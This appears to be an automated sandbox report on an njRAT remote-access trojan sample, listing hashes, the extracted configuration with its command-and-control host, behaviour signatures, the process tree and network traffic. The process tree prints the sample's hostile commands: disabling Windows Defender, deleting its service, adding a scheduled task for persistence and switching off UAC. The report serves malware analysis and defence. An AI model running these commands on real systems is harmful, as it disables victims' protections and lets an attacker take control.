Analysis

  • max time kernel
    150s
  • max time network
    144s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    18/03/2025, 03:16 UTC

General

  • Target

    a7deeabed9261564ba79c04d3909539ec31bada0b1c4e16755d759f742fb9818.exe

  • Size

    11.6MB

  • MD5

    3339f240ffeb755b2f4874cbd4d0bbf7

  • SHA1

    c81181e483cdfc5fc552f22b3dcfa0cd2782cf34

  • SHA256

    a7deeabed9261564ba79c04d3909539ec31bada0b1c4e16755d759f742fb9818

  • SHA512

    b252e1037c6126ded63491f09b1b7e4aa651feef449c79f781c3a2262658831eca6208a33c0076f757010c6a96cb7f582e846c6c8af33ecb651bf271e691c9ce

  • SSDEEP

    196608:krNm6AcQaUw3990H1+njZeHWpHGpvF6NIbxqZuROk1CbtQvEp4Q28Q:kheCIwnOWMpvsiQURXUBQvk4Q2j

Malware Config

Extracted

Family

njrat

Version

<- NjRAT 0.7d Horror Edition ->

Botnet

Victim

C2

thursday-bytes.gl.at.ply.gg:55648

Mutex

caa5ab06fdce65c809c563c98d39620a

Attributes
  • reg_key

    caa5ab06fdce65c809c563c98d39620a

  • splitter

    Y262SUCZ4UJJ

Signatures

  • Njrat family
  • UAC bypass 3 TTPs 1 IoCs
  • njRAT/Bladabindi

    Widely used RAT written in .NET.

  • Stops running service(s) 4 TTPs
  • Drops startup file 2 IoCs
  • Executes dropped EXE 8 IoCs
  • Loads dropped DLL 9 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Detects Pyinstaller 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry key 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 38 IoCs
  • Suspicious use of WriteProcessMemory 60 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a7deeabed9261564ba79c04d3909539ec31bada0b1c4e16755d759f742fb9818.exe
    "C:\Users\Admin\AppData\Local\Temp\a7deeabed9261564ba79c04d3909539ec31bada0b1c4e16755d759f742fb9818.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2648
    • C:\Users\Admin\AppData\Local\Temp\dfwx.exe
      "C:\Users\Admin\AppData\Local\Temp\dfwx.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2744
      • C:\Users\Admin\AppData\Local\Temp\dfwx.exe
        "C:\Users\Admin\AppData\Local\Temp\dfwx.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:1552
    • C:\Users\Admin\AppData\Local\Temp\Payload.exe
      "C:\Users\Admin\AppData\Local\Temp\Payload.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2544
      • C:\ProgramData\dllhost.exe
        "C:\ProgramData\dllhost.exe"
        3⤵
        • Drops startup file
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1352
        • C:\Windows\system32\attrib.exe
          attrib +h "C:\ProgramData\dllhost.exe"
          4⤵
          • Views/modifies file attributes
          PID:1876
        • C:\Windows\system32\cmd.exe
          cmd /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2504
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Set-MpPreference -DisableRealtimeMonitoring $true
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of AdjustPrivilegeToken
            PID:2424
        • C:\Windows\system32\cmd.exe
          cmd /c sc query windefend
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1804
          • C:\Windows\system32\sc.exe
            sc query windefend
            5⤵
            • Launches sc.exe
            PID:2508
        • C:\Windows\system32\cmd.exe
          cmd /c sc stop windefend
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2016
          • C:\Windows\system32\sc.exe
            sc stop windefend
            5⤵
            • Launches sc.exe
            PID:2028
        • C:\Windows\system32\cmd.exe
          cmd /c sc delete windefend
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1920
          • C:\Windows\system32\sc.exe
            sc delete windefend
            5⤵
            • Launches sc.exe
            PID:3004
        • C:\Windows\system32\schtasks.exe
          schtasks /delete /tn CleanSweepCheck /f
          4⤵
            PID:564
          • C:\Windows\system32\schtasks.exe
            schtasks /create /sc minute /mo 1 /tn CleanSweepCheck /tr C:\ProgramData\dllhost.exe
            4⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2480
          • C:\Windows\system32\cmd.exe
            cmd /c reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2344
            • C:\Windows\system32\reg.exe
              reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
              5⤵
              • UAC bypass
              • Modifies registry key
              PID:1716
    • C:\Windows\system32\taskeng.exe
      taskeng.exe {611BDB41-E6F3-4406-A2C5-F9B7CCDC4BEA} S-1-5-21-2872745919-2748461613-2989606286-1000:CCJBVTGQ\Admin:Interactive:[1]
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:2988
      • C:\ProgramData\dllhost.exe
        C:\ProgramData\dllhost.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:1420
      • C:\ProgramData\dllhost.exe
        C:\ProgramData\dllhost.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:2972
      • C:\ProgramData\dllhost.exe
        C:\ProgramData\dllhost.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:1380

    Network

    • flag-us
      DNS
      thursday-bytes.gl.at.ply.gg
      dllhost.exe
      Remote address:
      8.8.8.8:53
      Request
      thursday-bytes.gl.at.ply.gg
      IN A
      Response
      thursday-bytes.gl.at.ply.gg
      IN A
      147.185.221.26
    • 147.185.221.26:55648
      thursday-bytes.gl.at.ply.gg
      dllhost.exe
      152 B
      3
    • 147.185.221.26:55648
      thursday-bytes.gl.at.ply.gg
      dllhost.exe
      152 B
      3
    • 147.185.221.26:55648
      thursday-bytes.gl.at.ply.gg
      dllhost.exe
      152 B
      3
    • 147.185.221.26:55648
      thursday-bytes.gl.at.ply.gg
      dllhost.exe
      152 B
      3
    • 147.185.221.26:55648
      thursday-bytes.gl.at.ply.gg
      dllhost.exe
      152 B
      3
    • 147.185.221.26:55648
      thursday-bytes.gl.at.ply.gg
      dllhost.exe
      152 B
      3
    • 8.8.8.8:53
      thursday-bytes.gl.at.ply.gg
      dns
      dllhost.exe
      73 B
      89 B
      1
      1

      DNS Request

      thursday-bytes.gl.at.ply.gg

      DNS Response

      147.185.221.26

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\Payload.exe

      Filesize

      32KB

      MD5

      e360658f5fbcad55cedab6107e741ae4

      SHA1

      c7039a18cb56a8eaeae66b3cb9ef7c63dd307aea

      SHA256

      41245f09293fcc0cb97bb36e4a9d79b3b2c50d6d9f1e21ea3bd66b44d9629afe

      SHA512

      000ec3668473eb62433e08a1e26e6068ef2647d1fd11368fe9a1c4c6442164e3ba969f08c5c563c6a5f3ed5e5acec410d927cbd9f29f393e0fc37aab2e38c232

    • C:\Users\Admin\AppData\Local\Temp\_MEI27442\api-ms-win-core-file-l1-2-0.dll

      Filesize

      21KB

      MD5

      1c58526d681efe507deb8f1935c75487

      SHA1

      0e6d328faf3563f2aae029bc5f2272fb7a742672

      SHA256

      ef13dce8f71173315dfc64ab839b033ab19a968ee15230e9d4d2c9d558efeee2

      SHA512

      8edb9a0022f417648e2ece9e22c96e2727976332025c3e7d8f15bcf6d7d97e680d1bf008eb28e2e0bd57787dcbb71d38b2deb995b8edc35fa6852ab1d593f3d1

    • C:\Users\Admin\AppData\Local\Temp\_MEI27442\api-ms-win-core-localization-l1-2-0.dll

      Filesize

      21KB

      MD5

      724223109e49cb01d61d63a8be926b8f

      SHA1

      072a4d01e01dbbab7281d9bd3add76f9a3c8b23b

      SHA256

      4e975f618df01a492ae433dff0dd713774d47568e44c377ceef9e5b34aad1210

      SHA512

      19b0065b894dc66c30a602c9464f118e7f84d83010e74457d48e93aaca4422812b093b15247b24d5c398b42ef0319108700543d13f156067b169ccfb4d7b6b7c

    • C:\Users\Admin\AppData\Local\Temp\_MEI27442\api-ms-win-core-timezone-l1-1-0.dll

      Filesize

      21KB

      MD5

      d12403ee11359259ba2b0706e5e5111c

      SHA1

      03cc7827a30fd1dee38665c0cc993b4b533ac138

      SHA256

      f60e1751a6ac41f08e46480bf8e6521b41e2e427803996b32bdc5e78e9560781

      SHA512

      9004f4e59835af57f02e8d9625814db56f0e4a98467041da6f1367ef32366ad96e0338d48fff7cc65839a24148e2d9989883bcddc329d9f4d27cae3f843117d0

    • C:\Users\Admin\AppData\Local\Temp\_MEI27442\python311.dll

      Filesize

      1.6MB

      MD5

      db09c9bbec6134db1766d369c339a0a1

      SHA1

      c156d9f2d0e80b4cf41794cd9b8b1e8a352e0a0b

      SHA256

      b1aac1e461174bbae952434e4dac092590d72b9832a04457c94bd9bb7ee8ad79

      SHA512

      653a7fff6a2b6bffb9ea2c0b72ddb83c9c53d555e798eea47101b0d932358180a01af2b9dab9c27723057439c1eaffb8d84b9b41f6f9cd1c3c934f1794104d45

    • C:\Users\Admin\AppData\Local\Temp\_MEI27442\ucrtbase.dll

      Filesize

      992KB

      MD5

      0e0bac3d1dcc1833eae4e3e4cf83c4ef

      SHA1

      4189f4459c54e69c6d3155a82524bda7549a75a6

      SHA256

      8a91052ef261b5fbf3223ae9ce789af73dfe1e9b0ba5bdbc4d564870a24f2bae

      SHA512

      a45946e3971816f66dd7ea3788aacc384a9e95011500b458212dc104741315b85659e0d56a41570731d338bdf182141c093d3ced222c007038583ceb808e26fd

    • \Users\Admin\AppData\Local\Temp\_MEI27442\api-ms-win-core-file-l2-1-0.dll

      Filesize

      18KB

      MD5

      bfffa7117fd9b1622c66d949bac3f1d7

      SHA1

      402b7b8f8dcfd321b1d12fc85a1ee5137a5569b2

      SHA256

      1ea267a2e6284f17dd548c6f2285e19f7edb15d6e737a55391140ce5cb95225e

      SHA512

      b319cc7b436b1be165cdf6ffcab8a87fe29de78f7e0b14c8f562be160481fb5483289bd5956fdc1d8660da7a3f86d8eede35c6cc2b7c3d4c852decf4b2dcdb7f

    • \Users\Admin\AppData\Local\Temp\_MEI27442\api-ms-win-core-processthreads-l1-1-1.dll

      Filesize

      21KB

      MD5

      517eb9e2cb671ae49f99173d7f7ce43f

      SHA1

      4ccf38fed56166ddbf0b7efb4f5314c1f7d3b7ab

      SHA256

      57cc66bf0909c430364d35d92b64eb8b6a15dc201765403725fe323f39e8ac54

      SHA512

      492be2445b10f6bfe6c561c1fc6f5d1af6d1365b7449bc57a8f073b44ae49c88e66841f5c258b041547fcd33cbdcb4eb9dd3e24f0924db32720e51651e9286be

    • \Users\Admin\AppData\Local\Temp\dfwx.exe

      Filesize

      11.8MB

      MD5

      1790b4953ddddc444c03da3c1c493cd1

      SHA1

      f0c3dbd9b05868876f2bb966dc7972cc2fd6d49e

      SHA256

      fcef0944b1f15860e8c7c5c21725272d50a51a2ba9e9e634a4fb900b27004743

      SHA512

      33382130dc21b511bc2422b6bd3f43f937b906811ba6aed2561f6e90ecabfb08e5d6a9e0fda30c880717be5165bfe946784f5b31c3d7d9886f7476a261ff82a0

    • memory/1552-115-0x000007FEF3650000-0x000007FEF3C38000-memory.dmp

      Filesize

      5.9MB

    • memory/2424-200-0x000000001B820000-0x000000001BB02000-memory.dmp

      Filesize

      2.9MB

    • memory/2424-201-0x0000000002710000-0x0000000002718000-memory.dmp

      Filesize

      32KB

    • memory/2544-75-0x0000000000220000-0x0000000000234000-memory.dmp

      Filesize

      80KB

    • memory/2544-14-0x000007FEED8EE000-0x000007FEED8EF000-memory.dmp

      Filesize

      4KB

    • memory/2544-74-0x000007FEED630000-0x000007FEEDFCD000-memory.dmp

      Filesize

      9.6MB

    • memory/2544-57-0x000007FEED630000-0x000007FEEDFCD000-memory.dmp

      Filesize

      9.6MB

    • memory/2544-122-0x000007FEED630000-0x000007FEEDFCD000-memory.dmp

      Filesize

      9.6MB

    • memory/2648-0-0x000007FEF4D23000-0x000007FEF4D24000-memory.dmp

      Filesize

      4KB

    • memory/2648-44-0x000007FEF4D20000-0x000007FEF570C000-memory.dmp

      Filesize

      9.9MB

    • memory/2648-3-0x000007FEF4D20000-0x000007FEF570C000-memory.dmp

      Filesize

      9.9MB

    • memory/2648-1-0x0000000000D30000-0x00000000018DA000-memory.dmp

      Filesize

      11.7MB

    We care about your privacy.

    This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.